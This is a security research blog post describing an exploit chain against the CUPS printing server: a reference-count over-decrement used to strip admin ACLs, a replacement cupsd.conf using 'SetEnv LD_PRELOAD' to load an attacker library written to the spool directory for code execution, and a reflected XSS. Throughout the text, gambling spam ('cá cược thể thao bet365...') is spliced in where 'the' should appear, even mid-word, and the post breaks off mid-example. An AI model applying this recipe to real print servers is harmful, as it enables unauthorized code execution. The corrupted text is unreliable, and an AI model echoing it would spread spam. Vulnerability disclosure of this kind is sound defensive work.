Friday, June 19, 2015

Owning Internet Printing - A Case Study in Modern Software Exploitation

Guest posted by Neel Mehta (nmehta@google.com) - June 19th, 2015

Abstract


Modern exploit mitigations draw attackers into a game of diminishing marginal returns. With each additional mitigation added, a subset of software bugs become unexploitable, and ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs become difficult to exploit, requiring application or even bug-specific knowledge that cannot be reused. The practical effect of exploit mitigations against any given bug or class of bugs is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 subject of great debate amongst security researchers.

Despite mitigations, skilled and determined attackers alike remain undeterred. They cope by finding more bugs, and by crafting increasingly complex exploit chains. Attackers treat cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se exploits as closely-guarded, increasingly valuable secrets, and it's rare to see publicly-available full-fledged exploit chains. This visibility problem contributes to an attacker's advantage in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 short term, but hinders broader innovation.

In this blog post, I describe an exploit chain for several bugs I discovered in CUPS, an open-source printing suite. I start by analyzing a relatively-subtle bug in CUPS string handling (CVE-2015-1158), an exploit primitive. I discuss key design and implementation choices that contributed to this bug. I cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n discuss how to build an exploit using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 primitive. Next, I describe a second implementation error (CVE-2015-1159) that compounds cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 effect of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first, exposing ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise unreachable instances of CUPS. Finally, I discuss cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 specific features and configuration options of CUPS that eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r helped or hindered exploitation.

By publishing this analysis, I hope to encourage transparent discourse on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 state of exploits and mitigations, and inspire ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r researchers to do cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same.

Summary


Cupsd uses reference-counted strings with global scope. When parsing a print job request, cupsd can be forced to over-decrement cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference count for a string from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request. As a result, an attacker can prematurely free an arbitrary string of global scope. I use this to dismantle ACL's protecting privileged operations, upload a replacement configuration file, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n run arbitrary code.

The reference count over-decrement is exploitable in default configurations, and does not require any special permissions ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 basic ability to print. A cross-site scripting bug in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CUPS templating engine allows this bug to be exploited when a user browses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 web. The XSS is reachable in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 default configuration for Linux instances of CUPS, and allows an attacker to bypass default configuration settings that bind cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CUPS scheduler to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 'localhost' or loopback interface.

Exploitation is near-deterministic, and does not require complex memory-corruption 'acrobatics'. Reliability is not affected by traditional exploit mitigations.

Background


What is CUPS?


CUPS is a modular, feature-rich open-source printing system for Unix-based OS's. It abstracts cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 internals of printing a multitude of file formats on a multitude of printer hardware, reducing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 need for printer-specific drivers.

CUPS is maintained by Apple, and runs on Linux, BSD, and variant OS's like Mac OS X. It is widely-deployed on desktops, laptops, network print servers, and even some embedded systems. CUPS is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference implementation for IPP/2.0 and IPP/2.1, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 latest replacement for LPD / LPR printing. The source tree for CUPS is large and complex, but not uniquely so, at more than 100,000 lines of ANSI C.

CUPS String Allocation Internals


CUPS makes widespread use of strings with managed-code-like properties. These strings are allocated by '_cupsStrAlloc()' (see cups/string.c:50),  which is used like 'strdup(3)', with one fundamental difference: strings are de-duplicated by content and reference counted.

Strings are owned by a global hash table (a 'cups_array_t' / '_cups_array_s' structure, defined in cups/array.c:39). '_cupsStrAlloc()' first checks cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hash table for its input string (by content). If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 string is in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hash table, it has been previously allocated, and its reference count is incremented. The existing string pointer (from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 global array) is returned. If not found in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 global hash table, a new heap block is allocated and populated, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n inserted with a single reference.

To be clear, if two disparate functions call '_cupsStrAlloc()' for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same string content, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y each get and share cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same pointer to a single heap block.

When a string is allocated by '_cupsStrAlloc()', it must be released by a call to '_cupsStrFree()' (see cups/string.c:289). This function decrements cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference count, and if none remain it removes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 string from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 global hash table and frees cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 block, releasing it back to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocator. '_cupsStrFree()' ignores pointers that aren't in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 global hash table. This is fortuitous for exploitation, turning a historical vanilla double-free into a fault-resistant exploit primitive with global, content-targeted scope.

Reference Count Over-Decrement Issue


Proper IPP Attribute Teardown


IPP attributes are name-value pairs. They are typed (bool, integer, date, string, etc...), and can be organized in groups. Attributes can have multiple values (one name, associated with multiple values). Attribute types 'IPP_TAG_TEXTLANG' and 'IPP_TAG_NAMELANG' are localized. The character set for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se attributes is specified once in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 wire protocol, even when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attribute has multiple values (ie all values in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 group use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 charset).

Cups saves attributes in an 'ipp_attribute_t' / '_ipp_attribute_s' structure:

cups/ipp.h:674:
typedef struct _ipp_attribute_s ipp_attribute_t;

cups/ipp.h:789:
struct _ipp_attribute_s     /**** Attribute ****/
{
 ipp_attribute_t *next;    /* Next attribute in list */
 ipp_tag_t group_tag,    /* Job/Printer/Operation group tag */
   value_tag;    /* What type of value is it? */
 char    *name;      /* Name of attribute */
 int   num_values;   /* Number of values */
 _ipp_value_t  values[1];    /* Values */
};

The 'values' structure member holds a minimum of a single value. For multiple attributes, 'next' points to anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r attribute structure, containing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 next value.

'_ipp_value_t' is defined as:

cups/ipp.h:751:

typedef union _ipp_value_u    /**** Attribute Value ****/
{

 struct
 {
   char  *language;    /* Language code */
   char  *text;      /* String */
 }   string;     /* String with language value */


} _ipp_value_t;
typedef _ipp_value_t ipp_value_t; /**** Convenience typedef that will be removed @private@ ****/

IPP requests are made up of groups of attributes, sent in an HTTP request body. When cupsd receives a request, it parses all attribute groups in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request immediately, storing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m all in an 'ipp_t' structure (defined in cups/ipp.h:799). String attributes are added to this structure by
'ippAddStrings()'. For multi-value localized string attributes, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first value's '_ipp_value_t.string.language' field is populated by '_cupsStrAlloc()' (which ups cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 refcount once).

In a quirky but sweet "academic" implementation choice, subsequent values have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir '_ipp_value_t.string.language' field shallow-copied from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first value (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 refcount is not increased). This mirrors a design choice in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 wire protocol, whereby IPP saves bytes on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 wire by including cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 charset only once for a group of values.

cups/ipp.c:1316:

/*
 * Initialize cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attribute data...
 */

 for (i = num_values, value = attr->values;
      i > 0;
      i --, value ++)
 {
   if (language)
   {
     if (value == attr->values)
     {
       if ((int)value_tag & IPP_TAG_CUPS_CONST)
         value->string.language = (char *)language;
       else
         value->string.language = _cupsStrAlloc(ipp_lang_code(language, code,    ←  increases refcount
                                                              sizeof(code)));
     }
     else
 value->string.language = attr->values[0].string.language;             ←  shallow copy
   }

To free this type of attribute correctly, '_cupsStrFree()' should be called once, on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first value's 'string.language' pointer.. IPP attributes are usually freed by a purpose-built routine 'ippDeleteAttribute()', which calls 'ipp_free_values()' to free cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 language correctly:

cups/ipp.c:6480:

   switch (attr->value_tag)
   {
     case IPP_TAG_TEXTLANG :
     case IPP_TAG_NAMELANG :
   if (element == 0 && count == attr->num_values &&
       attr->values[0].string.language)
   {
     _cupsStrFree(attr->values[0].string.language);         ←  release language only once here
     attr->values[0].string.language = NULL;
   }
   /* Fall through to ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r string values */

     case IPP_TAG_TEXT :
     case IPP_TAG_NAME :
     case IPP_TAG_RESERVED_STRING :
     case IPP_TAG_KEYWORD :
     case IPP_TAG_URI :
     case IPP_TAG_URISCHEME :
     case IPP_TAG_CHARSET :
     case IPP_TAG_LANGUAGE :
     case IPP_TAG_MIMETYPE :
   for (i = count, value = attr->values + element;          ←  for subsequent values, don't free language again
        i > 0;
        i --, value ++)
   {
     _cupsStrFree(value->string.text);
     value->string.text = NULL;
   }
   break;

Improper Teardown - Reference Count Over-Decrement (CVE-2015-1158)


When freeing localized multi-value attributes, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference count on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 language string is over-decremented when creating a print job whose 'job-originating-host-name' attribute has more than one value. In 'add_job()', cupsd incorrectly frees cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 'language' field for all strings in a group, instead of using 'ipp_free_values()'.

scheduler/ipp.c:1626:

    /*
     * Free old strings…       ←  Even 'old' strings need to be freed.
     */

     for (i = 0; i < attr->num_values; i ++)
     {
       _cupsStrFree(attr->values[i].string.text);
       attr->values[i].string.text = NULL;
       if (attr->values[i].string.language)           ←  for all values in an attribute
       {
   _cupsStrFree(attr->values[i].string.language);     ←  free cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 'language' string
   attr->values[i].string.language = NULL;
       }
           }

In this case, 'language' field comes from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 'attributes-natural-language' attribute in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request.

To specifically target a string and free it, we send a 'IPP_CREATE_JOB' or 'IPP_PRINT_JOB' request with a multi-value 'job-originating-host-name' attribute. The number of 'job-originating-host-name' values controls how many times cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference count is decremented. For a 10-value attribute, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference count for 'language' is increased once, but decremented 10 times.

The over-decrement prematurely frees cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap block for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target string. The actual block address will be quickly re-used by subsequent allocations.

Dangling pointers to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 block remain, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y point to changes when blocks are freed or reused. This is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 basic exploit primitive upon which we build.

Exploit Strategy


ACL Implementation


Cupsd allows cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 main configuration file to be remotely changed via an HTTP PUT request to '/admin/conf/cupsd.conf'. This is a privileged operation, protected by an ACL in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 default configuration file:

cupsd.conf:

# Restrict access to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 admin pages...
 Order allow,deny

# Restrict access to configuration files...
 AuthType Default
 Require user @SYSTEM
 Order allow,deny

This 'Location' directive is stored in a global array 'Locations', which is an array of 'cupsd_location_t' structures:

scheduler/auth.h:89:

typedef struct
{
 char      *location;  /* Location of resource */
 size_t    length;   /* Length of location string */
 ipp_op_t    op;   /* IPP operation */
 int     limit,    /* Limit for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se types of requests */
     order_type, /* Allow or Deny */
     type,   /* Type of aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ntication */
     level,    /* Access level required */
     satisfy;  /* Satisfy any or all limits? */
 cups_array_t    *names,   /* User or group names */
     *allow,   /* Allow lines */
     *deny;    /* Deny lines */
 http_encryption_t encryption; /* To encrypt or not to encrypt... */  ← Very existential :)
} cupsd_location_t;

The 'location' field in each structure holds cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 path from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 'Location' configuration directive, and fortuitously happens to be a reference counted string.

CUPS matches requests to a 'Location' ACL via 'cupsdFindBest()', which searches for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 'Location' directive that matches cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 largest canonical portion of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 requested path. For example, a 'PUT /admin/conf/cupsd.conf' would match cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 'Location' '/admin/conf' better than '/admin', and fall under that (in this case more-restrictive) ACL. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 'Location' directive for '/admin/conf' didn't exist, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request would instead match cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 less-specific 'Location' ACL for '/admin', or eventually simply a default ACL for '/'.

The fidelity of string content for 'Location' directives is important, perhaps.

Use of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Basic Exploit Primitive


I use our basic exploit primitive to target cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 'location' path strings in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 two 'cupsd_location_t' structures for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 above-mentioned 'Location' directives.

I over-decrement reference counts on strings '/admin/conf' and '/admin'. The 'location' pointers in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 'cupsd_location_t' remain dangling, and point to different content when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 block is re-used and overwritten.

As a result, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ACL's fail to match cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir intended requests. This allows unrestricted access to privileged operations, allowing an un-aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365nticated user to upload a replacement configuration file.

Here's a gdb dump of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit leaking reference counts for '/admin/conf':

(gdb) x/gx 0x7F0D577C7000+0x2639C0
0x7f0d57a2a9c0 : 0x00007f0d5980c8e0
(gdb) x/64gx 0x00007f0d5980c8e0
0x7f0d5980c8e0: 0x0000001000000003  0x0000000000000003
0x7f0d5980c8f0: 0x0000000000000001  0x0000000000000000
0x7f0d5980c900: 0x0000000000000000  0x0000000000000000
0x7f0d5980d120: 0x0000000000000000  0x0000000000000051
0x7f0d5980d130: 0x00007f0d5980d184  0x0000007f00000000
0x7f0d5980d140: 0x0000000100000006  0x0000000000000000
0x7f0d5980d150: 0x0000000000000000  0x0000000000000000
0x7f0d5980d160: 0x0000000000000000  0x0000000000000000
0x7f0d5980d170: 0x0000000000000000  0x0000000000000021
0x7f0d5980d180: 0x6d64612f00000001  0x0000000000006e69
0x7f0d5980d190: 0x0000000000000000  0x0000000000000051
0x7f0d5980d1a0: 0x00007f0d5980d1f4  0x0000007f00000000 ← Pointer to '/admin/conf' here.
0x7f0d5980d1b0: 0x000000010000000b  0x00000001ffffffff
0x7f0d5980d1c0: 0x0000000000000000  0x00007f0d5980d210
0x7f0d5980d1d0: 0x0000000000000000  0x0000000000000000
0x7f0d5980d1e0: 0x0000000000000000  0x0000000000000021
0x7f0d5980d1f0: 0x6d64612f00000001  0x00666e6f632f6e69
0x7f0d5980d200: 0x0000000000000000  0x00000000000000e1
(gdb) x/s 0x00007f0d5980d1f4
0x7f0d5980d1f4: "/admin/conf"
(gdb) x/20i 0x7F0D577C7000+0x12A10  ← Reference count over-decrement code in 'add_job()'.
  0x7f0d577d9a10:  movslq %r14d,%r12
  0x7f0d577d9a13:  add    $0x2,%r12
  0x7f0d577d9a17:  shl    $0x4,%r12
  0x7f0d577d9a1b:  add    %r15,%r12
  0x7f0d577d9a1e:  mov    0x8(%r12),%rdi
  0x7f0d577d9a23:  callq  0x7f0d577d3010 <_cupsStrFree@plt>
  0x7f0d577d9a28:  mov    (%r12),%rdi
  0x7f0d577d9a2c:  movq   $0x0,0x8(%r12)
  0x7f0d577d9a35:  test   %rdi,%rdi
  0x7f0d577d9a38:  je     0x7f0d577d9a47
  0x7f0d577d9a3a:  callq  0x7f0d577d3010 <_cupsStrFree@plt>
  0x7f0d577d9a3f:  movq   $0x0,(%r12)
  0x7f0d577d9a47:  inc    %r14d
  0x7f0d577d9a4a:  jmp    0x7f0d577d9a4f
  0x7f0d577d9a4c:  xor    %r14d,%r14d
  0x7f0d577d9a4f:  cmp    %r14d,0x18(%r15)
  0x7f0d577d9a53:  jg     0x7f0d577d9a10
  0x7f0d577d9a55:  lea    0x38(%rbx),%rdi
  0x7f0d577d9a59:  movl   $0x42,0xc(%r15)
  0x7f0d577d9a61:  movl   $0x1,0x18(%r15)
(gdb) b *0x7f0d577d9a10
Breakpoint 1 at 0x7f0d577d9a10
(gdb) c
Continuing.

Breakpoint 1, 0x00007f0d577d9a10 in ?? ()
(gdb) display/i $rip
1: x/i $rip
=> 0x7f0d577d9a10:  movslq %r14d,%r12
(gdb) x/16gx $r15
0x7f0d59b422b0: 0x00007f0d59b65ec0  0x0000003600000002
0x7f0d59b422c0: 0x00007f0d59805f44  0x000000000000000d
0x7f0d59b422d0: 0x00007f0d5980d1f4  0x00007f0d59a5a494  ← The same pointer as found in 'Locations'
0x7f0d59b422e0: 0x00007f0d5980d1f4  0x00007f0d59a5a494
0x7f0d59b422f0: 0x00007f0d5980d1f4  0x00007f0d59a5a494
0x7f0d59b42300: 0x00007f0d5980d1f4  0x00007f0d59a5a494
0x7f0d59b42310: 0x00007f0d5980d1f4  0x00007f0d59a5a494
0x7f0d59b42320: 0x00007f0d5980d1f4  0x00007f0d59a5a494
(gdb) x/16gx 0x00007f0d5980d1f4-4
0x7f0d5980d1f0: 0x6d64612f00000007  0x00666e6f632f6e69  ← The current reference count is 7.
0x7f0d5980d200: 0x0000000000000000  0x00000000000000e1
0x7f0d5980d210: 0x0000001000000001  0x00000000ffffffff
0x7f0d5980d220: 0x0000000000000001  0x0000000000000000
0x7f0d5980d230: 0x0000000000000000  0x0000000000000000
0x7f0d5980d240: 0x0000000000000000  0x0000000000000000
0x7f0d5980d250: 0x0000000000000000  0x0000000000000000
0x7f0d5980d260: 0x0000000000000000  0x0000000000000000
(gdb) b *0x7f0d577d9a55  ← Break after end of loop, after reference count hits zero.
Breakpoint 2 at 0x7f0d577d9a55
(gdb) delete 1
(gdb) c
Continuing.

Breakpoint 2, 0x00007f0d577d9a55 in ?? ()
1: x/i $rip
=> 0x7f0d577d9a55:  lea    0x38(%rbx),%rdi
(gdb) x/16gx 0x7f0d5980d1f0
0x7f0d5980d1f0: 0x00007f0d59a5a2f0  0x00666e6f632f6e69  ← Now a free list pointer (was refcount + string start).
0x7f0d5980d200: 0x0000000000000000  0x00000000000000e1
0x7f0d5980d210: 0x0000001000000001  0x00000000ffffffff
0x7f0d5980d220: 0x0000000000000001  0x0000000000000000
0x7f0d5980d230: 0x0000000000000000  0x0000000000000000
0x7f0d5980d240: 0x0000000000000000  0x0000000000000000
0x7f0d5980d250: 0x0000000000000000  0x0000000000000000
0x7f0d5980d260: 0x0000000000000000  0x0000000000000000
(gdb) x/s 0x7f0d5980d1f4
0x7f0d5980d1f4: "\r\177" ← Actual content unpredictable, but predictably not '/admin/conf'.
(gdb) x/16bx 0x7f0d5980d1f0
0x7f0d5980d1f0: 0xf0  0xa2  0xa5  0x59  0x0d  0x7f  0x00  0x00
0x7f0d5980d1f8: 0x69  0x6e  0x2f  0x63  0x6f  0x6e  0x66  0x00
(gdb) ← PC LOAD LETTER

Code Execution Via Changes to 'cupsd.conf'


SetEnv Directives


After using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 basic exploit primitive to strip ACL's, I can now specify an arbitrary new configuration file for cupsd. To run arbitrary code via configuration changes, I use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 'SetEnv' directive. Cupsd invokes CGI applications for certain requests, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 'SetEnv' directive allows us to set arbitrary environment variables for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se CGI processes.

For MacOS X targets, we use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 'DYLD_INSERT_LIBRARIES' environment variable to load a library off disk into cups CGI requests. On Linux targets, I use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 equivalent, 'LD_PRELOAD':

LogLevel debug2
Listen *:631
DefaultAuthType None
WebInterface Yes
MaxClients 1024
 Allow from *
 Order deny,allow
 JobPrivateAccess default
 JobPrivateValues default
 SubscriptionPrivateAccess default
 SubscriptionPrivateValues default
 
   Order deny,allow
 
 JobPrivateAccess default
 JobPrivateValues default
 SubscriptionPrivateAccess default
 SubscriptionPrivateValues default
 
   Order deny,allow
 
 JobPrivateAccess default
 JobPrivateValues default
 SubscriptionPrivateAccess default
 SubscriptionPrivateValues default
 
   Order deny,allow
 
SetEnv LD_PRELOAD /var/spool/cups/000000ff

Seeding Library Files on Disk


To use 'SetEnv' to run code, I need to be able to write a shared library to disk, and do so in a predictable location. Cupsd stores POST bodies to disk in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 'RequestRoot' directory (on MacOS X '/private/var/spool/cups/', on Linux '/var/spool/cups'). The full filename is constructed as follows in 'cupsdReadClient()':

scheduler/client.c:2116:

           cupsdSetStringf(&con->filename, "%s/%08x", RequestRoot,
                     request_id ++);
     con->file = open(con->filename, O_WRONLY | O_CREAT | O_TRUNC, 0640);

Where 'request_id' is a static integer, counting up from 0 for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lifetime of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process. This introduces some uncertainty into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 filenames, but this can be countered by sending many POST requests.

When a POST request is completely received, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request is processed and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 temporary file is deleted. However, if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client closes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 connection before cupsd receives cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entire POST body, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 files linger on disk.

On Mac OS X Yosemite with cups-2.0.2, this exploitation method yields root privileges. On some older versions of cups, and on Linux, this technique will yield execution as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 'lp' or '_lp' user.

Background on IPP (really just HTTP)


For cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 purposes of exploitation, IPP is really just HTTP.

RFC 2910, "Internet Printing Protocol/1.1: Encoding and Transport", states cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following in Section 4:

HTTP/1.1 [RFC2616] is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 transport layer for this protocol.

and

It is REQUIRED that a printer implementation support HTTP over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365
IANA assigned Well Known Port 631 (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IPP default port), though a
printer implementation may support HTTP over some ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r port as well.

Cupsd listens on TCP/631, and answers HTTP requests with its own full-featured HTTP server implementation. This includes a full CGI implementation, and a basic template implementation.

Attack Surface Reduction in CUPS


On desktop machines, cupsd typically listens on a loopback interface, and is not remotely accessible, at least not directly:

# Only listen for connections from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 local machine.
Listen localhost:631

The HTTP features required for basic printing are logically separated from less essential functions, like CGI applications, by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 'WebInterface' configuration setting.

Many Linux distributions ship with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 web interface enabled, and as a result expose significantly more attack surface. Here's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 setting from /etc/cups/cupsd.conf on Ubuntu 14.10:

# Web interface setting...
WebInterface Yes

By default on Mac OS X, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 web interface is disabled:

# Web interface setting...
WebInterface No

XSS and IPP

CUPS Template Basics


CUPS CGI applications use a simple, custom templating engine for HTML. It substitutes CGI arguments into templates, and supports some basic conditional statements. Here's an example of how it is used, from cgi-bin/jobs.c:93:

    /*
     * Bad operation code...  Display an error...
     */

     cgiStartHTML(cgiText(_("Jobs")));
     cgiCopyTemplateLang("error-op.tmpl");
     cgiEndHTML();

The template 'error-op.tmpl' has cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following contents:

{?title} {?printer_name} Error

Error:


Unknown operation "
{op}"!

Substitutions are made from CGI arguments denoted in '{braces}'.

A Reflected XSS in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Web Interface (CVE-2015-1159)


The template engine is only vaguely context-aware, and only supports HTML. Template parsing and variable substitution and escaping are handled in 'cgi_copy()'.

The template engine has 2 special cases for 'href' attributes from HTML links. The first case 'cgi_puturi()' is unused in current templates, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second case ends up being interesting.

The code is found in 'cgi_puts()', and escapes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following reserved HTML characters:
<>"'&

These are replaced with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir HTML entity equivalents ('<' etc...).

The function contains a curious special case to deal with HTML links in variable values. Here is a code snippet, from cgi-bin/template.c:650:

   if (*s == '<')
   {
    /*
     * Pass and , ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise quote it...
     */

     if (!_cups_strncasecmp(s, "
     {
       fputs("
 s += 9;

 while (*s && *s != '\"')
 {
         if (*s == '&')
           fputs("&", out);
   else
     putc(*s, out);

   s ++;
 }

       if (*s)
   s ++;

 fputs("\">", out);
     }

For variable values containing '', all subsequent characters before a closing double-quote are subject to less restrictive escaping, where only cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 '&' character is escaped. The characters <>', and a closing " would normally be escaped, but are echoed unaltered in this context.

Note that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data being escaped here is client-supplied input, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 variable value from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CGI argument. This code may have been intended to deal with links passed as CGI arguments. However, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 template engine's limited context-awareness becomes an issue.

Take this example from templates/help-header.tmp:19:

{QUERY??QUERY={QUERY}

:}">All Documents


